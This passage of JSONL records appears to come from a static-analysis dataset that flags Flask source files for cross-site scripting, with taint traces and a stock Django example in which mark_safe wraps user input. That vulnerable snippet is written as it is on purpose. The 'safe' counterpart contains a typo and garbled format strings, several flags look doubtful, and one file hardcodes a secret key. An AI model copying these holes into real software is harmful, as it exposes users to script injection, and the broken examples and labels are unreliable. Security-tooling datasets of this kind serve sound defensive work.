"yuuhpizzakebab/pizza/views.py", "repo_head_hexsha": "532d931e89e67b94ce77a62e862fa3aca796401e", "stack_hexsha": "41d5ab86b69becdb8281f9bf8ad1919a16505953", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 10, "entireCode": "from yuuhpizzakebab import app, admin_required, login_required\n\nfrom .models import Pizza, Topping\nfrom flask import render_template, session, redirect, url_for, request, flash\n\n\n@app.route('/pizzas')\ndef list_pizzas():\n \"\"\"Shows a list of pizzas.\"\"\"\n return render_template('pizza/pizzas.html',\n pizzas=Pizza.get_all(),\n selecting=request.args.get('selecting'))\n\n\n@app.route('/pizza/create', methods=['GET', 'POST'])\n@admin_required\ndef create_pizza():\n \"\"\"Creates a new pizza.\n\n Creates a new pizza with POST and associated any selected toppings with it.\n Shows a form to fill with GET.\n \"\"\"\n if request.method == 'POST':\n name = request.form['pizza_name']\n price = request.form['pizza_price']\n image_url = request.form['pizza_image_url']\n\n selected_toppings = request.form.getlist('toppings')\n\n p = Pizza(None, name, price, image_url, [])\n success = p.save()\n\n if not success:\n flash('Some fields need to be filled', 'alert-danger')\n return render_template('pizza/edit_pizza.html',\n pizza=pizza,\n available_toppings=Topping.get_all())\n\n for t in selected_toppings:\n topping_id = int(t)\n p.add_topping(topping_id)\n\n return redirect(url_for('list_pizzas'))\n\n return render_template('pizza/edit_pizza.html',\n available_toppings=Topping.get_all())\n\n\n@app.route('/pizza/edit/', methods=['GET', 'POST'])\n@admin_required\ndef edit_pizza(pizza_id):\n \"\"\"Edits a pizza.\n\n arguments:\n pizza_id -- id of the pizza\n\n Saves the information with POST.\n Shows a form to edit the contents with GET.\n \"\"\"\n if request.method == 'POST':\n name = request.form['pizza_name']\n price = request.form['pizza_price']\n image_url = request.form['pizza_image_url']\n\n selected_toppings = request.form.getlist('toppings')\n\n p = Pizza(pizza_id, name, price, image_url, [])\n success = p.save()\n\n if not success:\n flash('Some fields need to be filled', 'alert-danger')\n return render_template('pizza/edit_pizza.html',\n pizza=p,\n available_toppings=Topping.get_all())\n\n p.remove_toppings()\n\n for t in selected_toppings:\n topping_id = int(t)\n p.add_topping(topping_id)\n\n return redirect(url_for('list_pizzas'))\n\n pizza = Pizza.get_by_id(pizza_id)\n\n if not pizza:\n return redirect(url_for('list_pizzas'))\n\n return render_template('pizza/edit_pizza.html',\n pizza=pizza,\n available_toppings=Topping.get_all())\n\n\n@app.route('/pizza/delete/')\n@admin_required\ndef delete_pizza(pizza_id):\n \"\"\"Deletes a pizza.\n\n arguments:\n pizza_id -- id of the pizza\n \"\"\"\n Pizza.delete_by_id(pizza_id)\n flash('Removed pizza', 'alert-success')\n\n return redirect(url_for('list_pizzas'))", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 10, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}, {"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}]}} {"id": "e1a7455c1227ba7978dbd499c8def3f0a78a750ad4419cb9a9a2e138bc4ab579", "license": {"spdx": ["MIT"], "repo": "ONSdigital/response-operations-ui", "path": "response_operations_ui/views/passwords.py", "repo_head_hexsha": "1ec70c89e443fdfba620af328a4a13ce67459aa8", "stack_hexsha": "b01f9c234380678f32c2df6ec38bd4b261557de0", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 25, "entireCode": "import logging\n\nfrom flask import Blueprint, abort\nfrom flask import current_app as app\nfrom flask import redirect, render_template, request, url_for\nfrom itsdangerous import BadData, BadSignature, SignatureExpired, URLSafeSerializer\nfrom structlog import wrap_logger\n\nfrom response_operations_ui.common import token_decoder\nfrom response_operations_ui.controllers import uaa_controller\nfrom response_operations_ui.controllers.notify_controller import NotifyController\nfrom response_operations_ui.exceptions.exceptions import NotifyError\nfrom response_operations_ui.forms import ForgotPasswordForm, ResetPasswordForm\n\nlogger = wrap_logger(logging.getLogger(__name__))\n\nBAD_AUTH_ERROR = \"Unauthorized user credentials\"\n\npasswords_bp = Blueprint(\"passwords_bp\", __name__, static_folder=\"static\", template_folder=\"templates\")\n\n\n@passwords_bp.route(\"/forgot-password\", methods=[\"GET\"])\ndef get_forgot_password():\n form = ForgotPasswordForm(request.form)\n return render_template(\"forgot-password.html\", form=form)\n\n\n@passwords_bp.route(\"/forgot-password\", methods=[\"POST\"])\ndef post_forgot_password():\n form = ForgotPasswordForm(request.form)\n form.email_address.data = form.email_address.data.strip()\n email = form.data.get(\"email_address\")\n\n if form.validate():\n return send_password_change_email(email)\n\n return render_template(\"forgot-password.html\", form=form, email=email)\n\n\n@passwords_bp.route(\"/forgot-password/check-email\", methods=[\"GET\"])\ndef forgot_password_check_email():\n encoded_email = request.args.get(\"email\")\n\n if encoded_email is None:\n logger.error(\"No email parameter supplied\")\n return redirect(url_for(\"passwords_bp.get_forgot_password\"))\n\n try:\n email = URLSafeSerializer(app.config[\"SECRET_KEY\"]).loads(encoded_email)\n except BadSignature:\n logger.error(\"Unable to decode email from URL\", encoded_email=encoded_email)\n abort(404)\n\n return render_template(\"forgot-password-check-email.html\", email=email)\n\n\n@passwords_bp.route(\"/reset-password/\", methods=[\"GET\"])\ndef get_reset_password(token, form_errors=None):\n form = ResetPasswordForm(request.form)\n\n try:\n duration = app.config[\"EMAIL_TOKEN_EXPIRY\"]\n _ = token_decoder.decode_email_token(token, duration)\n except SignatureExpired:\n logger.warning(\"Token expired for Response Operations password reset\", token=token)\n return render_template(\"reset-password-expired.html\", token=token)\n except (BadSignature, BadData):\n logger.warning(\"Invalid token sent to Response Operations password reset\", token=token)\n return render_template(\"reset-password-expired.html\", token=token)\n\n template_data = {\"error\": {\"type\": form_errors}, \"token\": token}\n return render_template(\"reset-password.html\", form=form, data=template_data)\n\n\n@passwords_bp.route(\"/reset-password/\", methods=[\"POST\"])\ndef post_reset_password(token):\n form = ResetPasswordForm(request.form)\n\n if not form.validate():\n return get_reset_password(token, form_errors=form.errors)\n\n password = request.form.get(\"password\")\n\n try:\n duration = app.config[\"EMAIL_TOKEN_EXPIRY\"]\n email = token_decoder.decode_email_token(token, duration)\n except SignatureExpired:\n logger.warning(\"Token expired for Response Operations password reset\", token=token)\n return render_template(\"reset-password-expired.html\", token=token)\n except (BadSignature, BadData):\n logger.warning(\"Invalid token sent to Response Operations password reset\", token=token)\n return render_template(\"reset-password-expired.html\", token=token)\n\n response = uaa_controller.change_user_password(email, password)\n\n if response is not None:\n if response.status_code == 200:\n # 200 == All good\n logger.info(\"Successfully changed user password\", token=token)\n send_confirm_change_email(email)\n return redirect(url_for(\"passwords_bp.reset_password_confirmation\"))\n\n if response.status_code == 422:\n # 422 == New password same as old password\n logger.info(\"New password same as old password\", token=token)\n errors = {\"password\": [\"Please choose a different password or login with the old password\"]}\n return get_reset_password(token, form_errors=errors)\n\n logger.warning(\"Error changing password in UAA\", token=token)\n return render_template(\"reset-password-error.html\")\n\n\n@passwords_bp.route(\"/reset-password/confirmation\", methods=[\"GET\"])\ndef reset_password_confirmation():\n return render_template(\"reset-password-confirmation.html\")\n\n\n@passwords_bp.route(\"/resend-password-email-expired-token/\", methods=[\"GET\"])\ndef resend_password_email_expired_token(token):\n email = token_decoder.decode_email_token(token)\n return send_password_change_email(email)\n\n\ndef send_password_change_email(email):\n url_safe_serializer = URLSafeSerializer(app.config[\"SECRET_KEY\"])\n\n response = uaa_controller.get_user_by_email(email)\n if response is None:\n return render_template(\"forgot-password-error.html\")\n\n if response[\"totalResults\"] > 0:\n first_name = response[\"resources\"][0][\"name\"][\"givenName\"]\n internal_url = app.config[\"RESPONSE_OPERATIONS_UI_URL\"]\n verification_url = f\"{internal_url}/passwords/reset-password/{token_decoder.generate_email_token(email)}\"\n\n logger.info(\"Sending password change email\", verification_url=verification_url)\n\n personalisation = {\"RESET_PASSWORD_URL\": verification_url, \"FIRST_NAME\": first_name}\n\n try:\n NotifyController().request_to_notify(\n email=email, template_name=\"request_password_change\", personalisation=personalisation\n )\n except NotifyError as e:\n logger.error(\"Error sending password change request email to Notify Gateway\", msg=e.description)\n return render_template(\"forgot-password-error.html\")\n\n logger.info(\"Successfully sent password change request email\", email=url_safe_serializer.dumps(email))\n else:\n # We still want to render the template for an email without an account to avoid\n # people fishing for valid emails\n logger.info(\"Requested password reset for email not in UAA\", email=url_safe_serializer.dumps(email))\n\n return redirect(url_for(\"passwords_bp.forgot_password_check_email\", email=url_safe_serializer.dumps(email)))\n\n\ndef send_confirm_change_email(email):\n user = uaa_controller.get_user_by_email(email)\n first_name = user[\"resources\"][0][\"name\"][\"givenName\"]\n if first_name != \"\":\n personalisation = {\"FIRST_NAME\": first_name}\n\n try:\n NotifyController().request_to_notify(\n email=email, template_name=\"confirm_password_change\", personalisation=personalisation\n )\n except NotifyError as e:\n # This shouldn't show the client an error - the password change was still successful.\n # They just won't get a confirmation email\n logger.error(\"Error sending password change confirmation email to Notify Gateway\", msg=e.description)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "ForgotPasswordForm"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "ForgotPasswordForm"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 25, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "7480f16e68b904c05113067f4343833e017beb894dfc5f6f5e58f3cc00e04416", "license": {"spdx": ["MIT"], "repo": "kishoremkv/movieRecommendation", "path": "src/app/routes.py", "repo_head_hexsha": "54e1767f459a65bf03b517df2efd1ac63f596018", "stack_hexsha": "c85ed49bb517d93538b32c39af7a153ca70c1d59", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 43, "entireCode": "from flask import render_template, flash, redirect, url_for, request\nfrom flask_login import login_user, logout_user, current_user, login_required\nfrom werkzeug.urls import url_parse\nfrom app import app, db\nfrom app.models import User\nfrom app.util import get_movie_info_min, get_movie_info, predict, set_preferences, get_preferences, create_connection\nfrom app.forms import LoginForm, RegistrationForm\nimport pandas as pd\nfrom app import Config\n\nfrom random import randint\n\nimport json\nimport random\n\nlist1=[]\n\n@app.route('/')\n@login_required\ndef index():\n\n result = get_preferences(user_id=current_user.id)\n\n if len(result) < 1:\n return redirect(url_for('calib'))\n\n \n movies = get_movie_info_min(result)\n return render_template('index.html', movies=movies)\n\n@app.route('/movie', methods=['GET'])\n@login_required\ndef movie():\n\n list = []\n for i in range(1,7):\n list.append(randint(1,45296))\n similar_movies = get_movie_info_min(list)\n \n\n movie_id = request.args.get('id')\n movie = get_movie_info(movie_id)\n return render_template('movie.html', movie=movie, similar_movies=similar_movies)\n\n\n@app.route('/logout')\ndef logout():\n logout_user()\n return redirect(url_for('login'))\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n form = LoginForm()\n if form.validate_on_submit():\n user = User.query.filter_by(email=form.email.data).first()\n print(user)\n if user is None or not user.check_password(form.password.data):\n flash('Invalid email or password')\n return redirect(url_for('login'))\n login_user(user)\n return redirect(url_for('index'))\n return render_template('login.html', title='Sign In', form=form)\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n form = RegistrationForm()\n if form.validate_on_submit():\n user = User(email=form.email.data)\n user.set_password(form.password.data)\n db.session.add(user)\n db.session.commit()\n flash('Congratulations, you are now a registered user!')\n return redirect(url_for('login'))\n return render_template('register.html', title='Register', form=form) \n\n \n@login_required\n@app.route('/calibrate',methods=['GET','POST'])\ndef calib():\n global list1\n movie_db = create_connection(Config.MOVIE_DATABASE_PATH)\n data = pd.read_sql_query('SELECT distinct(id) from movlens', movie_db)\n data=list(data['id'])\n if request.method=='GET':\n list1=random.sample(data,50)\n movies = get_movie_info_min(list1)\n return render_template('calib.html',movies=movies)\n \n if request.method=='POST':\n \n print('submited')\n\n movshown=[]\n movsel=[]\n \n for i in list1:\n movshown.append(i)\n movsel.extend(request.form.getlist('sel'))\n movsel=[int(i) for i in movsel]\n \n print(\"\\n\\n\",type(request.form['sel']),\"\\n\\n\")\n print(\"\\n\\nmovshown: \",movshown,\"\\n\\n\")\n print(\"\\n\\nmovsel: \",movsel,\"\\n\\n\")\n\n movie_ids = predict(movshown,movsel)\n set_preferences(user_id=current_user.id, movie_ids=movie_ids)\n movies=get_movie_info_min(movie_ids[:100])\n return redirect(url_for('index'))\n ", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 41, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 42, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_movie_info"}}, {"lineNo": 42, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "get_movie_info"}}, {"lineNo": 42, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 43, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "133233f04e2ba7a93bba03fe0d5cfc112bbd63661c3ecbff8896abc367647db7", "license": {"spdx": ["MIT"], "repo": "carlitoselmago/marionbot-turfu", "path": "app/chat.py", "repo_head_hexsha": "5c0fdff6197ce5e462819991dfd42194f7bcaab0", "stack_hexsha": "9b22aee6c0a7a08c49177fc07ab1bde85d8a3198", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 82, "entireCode": "from flask import Flask, request,redirect, abort,render_template,session,copy_current_request_context\nfrom flask import render_template, flash, redirect, session, url_for, request, g\nfrom flask_login import LoginManager, login_user, current_user, UserMixin\nfrom flask_socketio import SocketIO, emit, send\nfrom flask_uploads import UploadSet, configure_uploads, IMAGES, patch_request_class\nfrom flask_socketio import join_room, leave_room\nfrom .forms import LoginForm, MessageForm, PasswordForm, DeleteUser\nfrom flask_dropzone import Dropzone\nfrom flask_cors import CORS, cross_origin\nimport locale\nimport os\nimport datetime\nimport time\n\nimport hashlib\nfrom app.db import db\nimport sys\nsys.path.append(\"transfchatbot\")\nfrom botapi import botapi\nfrom werkzeug.middleware.proxy_fix import ProxyFix\n\nlocale.setlocale(locale.LC_TIME, \"fr_FR.UTF-8\")\n\nbot=True\n\napp = Flask(__name__)\n\ncors = CORS(app, resources={r\"/*\": {\"origins\": \"*\"}})\n#app.secret_key =''\napp.config['DROPZONE_UPLOAD_MULTIPLE'] = False\napp.config['DROPZONE_ALLOWED_FILE_CUSTOM'] = True\napp.config['DROPZONE_ALLOWED_FILE_TYPE'] = '.jpg, .png'#'image/*'\napp.config['DROPZONE_REDIRECT_VIEW'] = 'results'\napp.config['UPLOADED_PHOTOS_DEST'] = os.getcwd() + '/images'\napp.config['DROPZONE_DEFAULT_MESSAGE'] =\"+\"\napp.config['DROPZONE_INVALID_FILE_TYPE'] =\"Formats acceptés : .jpg, .png\"\napp.config['DROPZONE_FILE_TOO_BIG'] =\"La taille de l'image est trop grande ( {{filesize}} ), merci de ne pas dépasser {{maxFilesize}}Mo.\"\napp.config['DROPZONE_SERVER_ERROR'] =\"Erreur de chargement de l'image\"\napp.config['SECRET_KEY'] = 'maarionnbooot'\napp.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024\n\nphotos = UploadSet('photos', IMAGES)\nconfigure_uploads(app, photos)\npatch_request_class(app) # set maximum file size, default is 16MB\n\nDB=db()\nBOT=botapi()\n\ndropzone = Dropzone(app)\n\nlogin = LoginManager(app)\ncors = CORS(app,resources={r\"/*\":{\"origins\":\"*\"}})\nsocketio = SocketIO(app,cors_allowed_origins=[\"https://turfu-festival.ddns.net\",\"https://www.esam-c2.fr\",\"http://htmlfiesta.com\",\"https://marionbot.ddns.net\"])\n\napp.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_proto=1)\n\nclients={}\n@cross_origin(origin='*',headers=['Content- Type','Authorization'])\n@login.user_loader\ndef user_loader(id):\n return User(id)\n\nclass User(UserMixin):\n def __init__(self, username):\n self.id = username\n\n@app.route('/')\n@app.route('/home')\n@app.route('/index', methods=['GET', 'POST'])\ndef index():\n browser = request.user_agent.browser\n form = MessageForm()\n session[\"ismarion\"]=False\n\n if \"user\" not in session:\n return redirect(\"/login\")\n\n if session[\"user\"][\"id\"]==1:\n session[\"ismarion\"]=True\n speakers=DB.getChats()\n session[\"chatid\"]=speakers[0][\"id\"]\n return render_template(\"indexmarion.html\", title=\"Marion\", form=form,speakers=speakers,to=session[\"chatid\"],browser=browser)\n else:\n #session[\"chatid\"]=#session[\"user\"][\"id\"]\n if \"chatid\" not in session:\n session[\"chatid\"]=DB.getUserChatId(session[\"user\"][\"id\"])\n session[\"access\"]=DB.getUserAccess(session[\"user\"][\"id\"])\n return render_template(\"index.html\", title=\"Marion\", form=form,to=session[\"chatid\"],browser=browser,useraccess=session[\"access\"])\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n \"\"\"\n if g.user and g.user.is_authenticated:\n flash(\"You are already logged in\")\n return redirect('/index')\n \"\"\"\n form = LoginForm()\n if form.validate_on_submit():\n \"\"\"\n users=DB.userExists(form.username.data)\n if len(users) != 1:\n flash('User %s does not exist' %\n (form.username.data))\n return render_template('login.html',\n title='Sign In',\n form=form)\n \"\"\"\n #user = users.first()\n user=DB.checkUserPassword(form.username.data,encript(form.password.data))\n if not user:\n #if not user.check_password(form.password.data):\n flash('Mot de passe incorrect')\n return render_template('login.html',\n title='Sign In',\n form=form)\n session[\"user\"]=user\n\n if user[\"id\"]==1:\n session[\"ismarion\"]=True\n DB.setMarionStatus()\n else:\n session[\"chatid\"]=DB.getUserChatId(session[\"user\"][\"id\"])\n\n return redirect('/index')\n return render_template('login.html',\n title='Sign In',\n form=form)\n\n@app.route('/messages',methods=['GET'])\ndef get_messages():\n #msgs = Message.query.order_by(Message.id.desc()).limit(20).all()[::-1]\n speakerID=request.args.get(\"id\")\n lastMsg=request.args.get(\"last\")\n msgs=False\n\n if speakerID:\n #marion custom speaker\n msgs = DB.getMessages(speakerID,lastMsg)\n else:\n #user with marion\n #print('session[\"chatid\"]',session[\"chatid\"])\n if \"chatid\" in session:\n msgs = DB.getMessages(session[\"chatid\"],lastMsg)\n if msgs:\n return render_template(\"messages.html\", messages=msgs,current=current_user)\n return \"\"\n\n@app.route('/upload',methods=['GET', 'POST'])\ndef upload():\n if request.method == 'POST':\n f = request.files.get('file')\n extension=os.path.splitext(f.filename)[1]\n fileName=\"marion_\"+str(session[\"user\"][\"id\"])+str(time.time())+extension\n f.save(os.path.join('app/static/images',fileName))\n\n #save message\n\n chatid=int(request.values[\"to\"])\n DB.saveMessage(session[\"user\"][\"id\"],chatid, fileName,1)\n\n return render_template('uploaded.html')\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n form = LoginForm()\n\n if form.validate_on_submit():\n username=form.username.data\n # Check if users with this name exists\n if DB.userExists(username):\n flash(\"Ce pseudonyme est déjà pris, merci d’en choisir un autre\")\n return render_template('register.html',\n title='register',\n form=form)\n\n if len(form.password.data) < 5:\n flash(\"Le mot de passe doit contenir au moins 5 caractères\")\n return render_template('register.html',\n title='register',\n form=form)\n\n #create user\n hashed=encript(form.password.data)\n userID,chatID=DB.createUser(username,1,hashed)\n session[\"user\"]={\"id\":userID,\"name\":username}\n session[\"chatid\"]=chatID\n\n return redirect(\"/index\")\n return render_template('register.html',\n title='register',\n form=form)\n\n@app.route('/guest')\ndef initguest():\n ts = int(time.time())\n username=\"guest_\"+str(ts)\n userID,chatID=DB.createUser(username,0)\n session[\"user\"]={\"id\":userID,\"name\":username}\n session[\"chatid\"]=DB.getUserChatId(session[\"user\"][\"id\"])\n #session[\"chatid\"]=chatID\n\n print(\"user\",session[\"user\"],\"chatid\",session[\"chatid\"])\n print(\"\")\n\n session[\"ismarion\"]=False\n #session[\"chatid\"]=DB.getUserChatId(session[\"user\"][\"id\"])\n #session[\"chatid\"]=DB.getUserChatId(session[\"user\"][\"id\"])\n\n return redirect(\"/index\")\n\n\n# MARION ADMIN :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n@app.route('/archiveuser', methods=['GET'])\ndef archiveuser():\n if not isAdmin():\n return redirect(\"/\")\n chatID=request.args.get(\"id\")\n DB.archiveChat(chatID)\n return \"\"\n\n\n\n@app.route('/markasseen', methods=['POST'])\ndef markasseen():\n #seenmessages=request.get_data(parse_form_data=False)\n seenmessages=request.form.getlist(\"seen[]\")\n print(\"seenmessages\",seenmessages)\n return \"\"\n\n@app.route('/updatechatid', methods=['POST'])\ndef updatechatid():\n if not isAdmin():\n return redirect(\"/\")\n chatID=request.form.get(\"chatid\")\n\n session[\"chatid\"]=chatID\n\n #update notseen to 0\n DB.removeNotSeen(chatID)\n #print(\"/messages?id=\"+str(chatID))\n #return redirect(\"/messages?id=\"+str(chatID))\n #print(session[\"chatid\"])\n\n msgs = DB.getMessages(session[\"chatid\"],False)\n\n return render_template(\"messages.html\", messages=msgs,current=current_user)\n\n@app.route('/speakers',methods=['GET'])\ndef get_speakers():\n speakerID=request.args.get(\"speaker\")\n if not isAdmin():\n return redirect(\"/\")\n DB.setMarionStatus()\n speakers=DB.getChats()\n return render_template(\"speakers.html\", title=\"speakers\", speakers=speakers,activespeaker=speakerID)\n\n# END MARION ADMIN :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n\n@app.template_filter('strftime')\ndef _jinja2_filter_datetime(date, fmt=None):\n date = datetime.datetime.fromtimestamp(date)\n\n return date.strftime(\"%a %d %b %H:%M\")\n\n\n#SocketIO:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n\n\n@socketio.on('imconnected')\ndef on_connect():\n print(\"imconnected recived\")\n print(session)\n if \"user\" in session:\n print(\"userid\",session[\"user\"][\"id\"])\n print(\"NEW SESSION \",request.sid)\n #clients.append(request.sid)\n #room = session[\"user\"][\"id\"]\n clients[session[\"user\"][\"id\"]]=request.sid\n room=session.get('room')\n join_room(room)\n print(\"room\",room)\n print(\"clients\",clients)\n\n emit('welcome', {'userid': str(session[\"user\"][\"id\"])},room=clients[session[\"user\"][\"id\"]])\n\n\n@socketio.on('heartbeat')\ndef heartbeat():\n #print(\"heartbeat\")\n if \"last\" in session:\n last=session[\"last\"]\n msgs = DB.getMessages(session[\"chatid\"],last)\n htmlmessages=render_template(\"messages.html\", messages=msgs,current=session[\"user\"][\"id\"])\n emit(\"newmessages\",htmlmessages,room=clients[session[\"user\"][\"id\"]])\n emit(\"heartbeat\")\n\n@socketio.on('browser_ready')\ndef handle_browser_ready(data):\n print(\"GOT BROWSER READY!\",data)\n if \"chatid\" in data[\"data\"]:\n print(\"get messages from\",data[\"data\"][\"chatid\"])\n msgs = DB.getMessages(data[\"data\"][\"chatid\"],False)\n session[\"chatid\"]=int(data[\"data\"][\"chatid\"])\n session[\"user\"][\"id\"]=int(data[\"data\"][\"speakerid\"])\n else:\n msgs = DB.getMessages(session[\"chatid\"],False)\n\n htmlmessages=render_template(\"messages.html\", messages=msgs,current=current_user)\n #XXX FIX NEXT LINE\n emit(\"initmessages\",htmlmessages,room=clients[session[\"user\"][\"id\"]])\n emit(\"heartbeat\")\n\n@socketio.on('post')\ndef handle_post(data):\n print(\"POSTED NEW MESSAGE\",session[\"user\"][\"id\"],data)\n message=data[\"message\"]\n last=False\n if \"last\" in data:\n last=data[\"last\"]\n session[\"last\"]=last\n if session[\"ismarion\"]:\n print(\"SAVING MESSAGE IS MARION WRITING\")\n print(\"SESSION USER ID\",session[\"user\"][\"id\"])\n #chatid=1\n #print(\"chatid marion\",chatid)\n DB.saveMessage(1,session[\"chatid\"], message)\n else:\n DB.saveMessage(session[\"user\"][\"id\"],session[\"chatid\"], message)\n\n #msgs = DB.getMessages(session[\"chatid\"],last)\n msgs = DB.getMessages(session[\"chatid\"])\n\n if bot:\n #https://stackoverflow.com/questions/34581255/python-flask-socketio-send-message-from-thread-not-always-working\n 